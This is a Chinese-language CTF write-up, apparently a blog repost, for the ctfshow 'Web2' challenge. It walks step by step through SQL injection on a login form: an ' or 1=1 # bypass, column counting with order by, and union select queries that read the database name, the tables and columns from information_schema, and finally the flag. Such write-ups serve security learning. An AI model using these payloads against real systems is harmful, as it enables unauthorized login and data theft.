其他分享
首页 > 其他分享> > [ctfshow]Web2

[ctfshow]Web2

作者:互联网

Web2

题目描述

最简单的SQL注入

题目解析

image-20220622202015131

打开页面发现有一个表单,根据题目的描述可以确定,这是一个SQL注入题目。手动填写数据包进行发送一次,用burp suite抓取数据包。

image-20220622202230633

构造SQL注入语句,这是一个登录功能,那应该考虑是字符串注入,在username后面加上 ' or 1=1 #发送

image-20220622202434849

成功登录。证明构造的语句没有问题,接下来就是一把梭,猜解字段数、获取数据库名、获取表名、获取字段、拿到flag!搞!

'username=ctfshow' order by 3 #&password=123显示登录成功,'username=ctfshow' order by 4 #不显示,证明有三个字段。

username=ctfshow' union select 1,2,3 #&password=123确定回显位置,看到2显示在了页面上,利用2这个位置继续搞。

username=ctfshow' union select 1,database(),3 #&password=123获取到数据库名

username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' #&password=123 获取数据库的表名,找到flag表啦

username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' #&password=123获取flag表中的字段名

username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=123获取flag!

结束~

标签:username,#&,Web2,flag,123,ctfshow,password
来源: https://www.cnblogs.com/alm0st/p/16402441.html